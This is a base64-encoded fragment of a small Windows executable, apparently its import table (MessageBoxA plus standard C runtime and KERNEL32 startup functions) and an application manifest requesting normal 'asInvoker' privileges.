AAAAAAAQAAAAgqAAAAAAAAAAAAACYrAACIIAAAGCoAAAAAAAAAAAAAiCsAAJggAAB4KgAAAAAAAAAAAAAyLQAA+CAAAGgqAAAAAAAAAAAAAFQtAADoIAAAACsAAAAAAAAAAAAAdC0AAIAhAABYKgAAAAAAAAAAAACULQAA2CAAAEgqAAAAAAAAAAAAALYtAADIIAAAgCkAAAAAAAAAAAAARi8AAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAANwuAAAAAAAA6i0AAAAAAAAELgAAAAAAABguAAAAAAAANC4AAAAAAABSLgAAAAAAAGYuAAAAAAAAei4AAAAAAAAyLwAAAAAAACAvAAAAAAAADC8AAAAAAAD2LgAAAAAAANYtAAAAAAAAxi4AAAAAAACwLgAAAAAAAJYuAAAAAAAAAAAAAAAAAAAYKwAAAAAAAAAAAAAAAAAAMisAAAAAAABKKwAAAAAAAGArAAAAAAAAfisAAAAAAABULwAAAAAAAAAAAAAAAAAAwCwAAAAAAAAAAAAAAAAAAKosAAAAAAAAAAAAAAAAAAC8KwAAAAAAAAAAAAAAAAAArCsAAAAAAAAYLQAAAAAAAOAsAAAAAAAAmisAAAAAAAAmLQAAAAAAAHwsAAAAAAAAciwAAAAAAABoLAAAAAAAAFIsAAAAAAAASiwAAAAAAAA8LAAAAAAAADAsAAAAAAAADCwAAAAAAADqKwAAAAAAANArAAAAAAAA/CwAAAAAAAAAAAAAAAAAANAsAAAAAAAAWiwAAAAAAAAAAAAAAAAAAIQCTWVzc2FnZUJveEEAVVNFUjMyLmRsbAAACABfX0Nfc3BlY2lmaWNfaGFuZGxlcgAAGwBfX2N1cnJlbnRfZXhjZXB0aW9uABwAX19jdXJyZW50X2V4Y2VwdGlvbl9jb250ZXh0AD4AbWVtc2V0AABWQ1JVTlRJTUUxNDAuZGxsAABAAF9zZWhfZmlsdGVyX2V4ZQBCAF9zZXRfYXBwX3R5cGUACQBfX3NldHVzZXJtYXRoZXJyAAAYAF9jb25maWd1cmVfbmFycm93X2FyZ3YAADMAX2luaXRpYWxpemVfbmFycm93X2Vudmlyb25tZW50AAArAF9nZXRfbmFycm93X3dpbm1haW5fY29tbWFuZF9saW5lAAA2AF9pbml0dGVybQA3AF9pbml0dGVybV9lAFUAZXhpdAAAIwBfZXhpdABUAF9zZXRfZm1vZGUAABYAX2NleGl0AAAVAF9jX2V4aXQAPQBfcmVnaXN0ZXJfdGhyZWFkX2xvY2FsX2V4ZV9hdGV4aXRfY2FsbGJhY2sAAAgAX2NvbmZpZ3RocmVhZGxvY2FsZQAWAF9zZXRfbmV3X21vZGUAAQBfX3BfX2NvbW1vZGUAADQAX2luaXRpYWxpemVfb25leGl0X3RhYmxlAAA8AF9yZWdpc3Rlcl9vbmV4aXRfZnVuY3Rpb24AHgBfY3J0X2F0ZXhpdABnAHRlcm1pbmF0ZQBhcGktbXMtd2luLWNydC1ydW50aW1lLWwxLTEtMC5kbGwAYXBpLW1zLXdpbi1jcnQtbWF0aC1sMS0xLTAuZGxsAABhcGktbXMtd2luLWNydC1zdGRpby1sMS0xLTAuZGxsAGFwaS1tcy13aW4tY3J0LWxvY2FsZS1sMS0xLTAuZGxsAABhcGktbXMtd2luLWNydC1oZWFwLWwxLTEtMC5kbGwAAPUEUnRsQ2FwdHVyZUNvbnRleHQA/QRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAEBVJ0bFZpcnR1YWxVbndpbmQAAOYFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACkBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAyAkdldEN1cnJlbnRQcm9jZXNzAMQFVGVybWluYXRlUHJvY2VzcwAAqANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AHAEUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAMwJHZXRDdXJyZW50UHJvY2Vzc0lkADcCR2V0Q3VycmVudFRocmVhZElkAAAKA0dldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAIoDSW5pdGlhbGl6ZVNMaXN0SGVhZACgA0lzRGVidWdnZXJQcmVzZW50APECR2V0U3RhcnR1cEluZm9XAJUCR2V0TW9kdWxlSGFuZGxlVwAAS0VSTkVMMzIuZGxsAAA8AG1lbWNweQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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
--------------------------------------------------------------------------------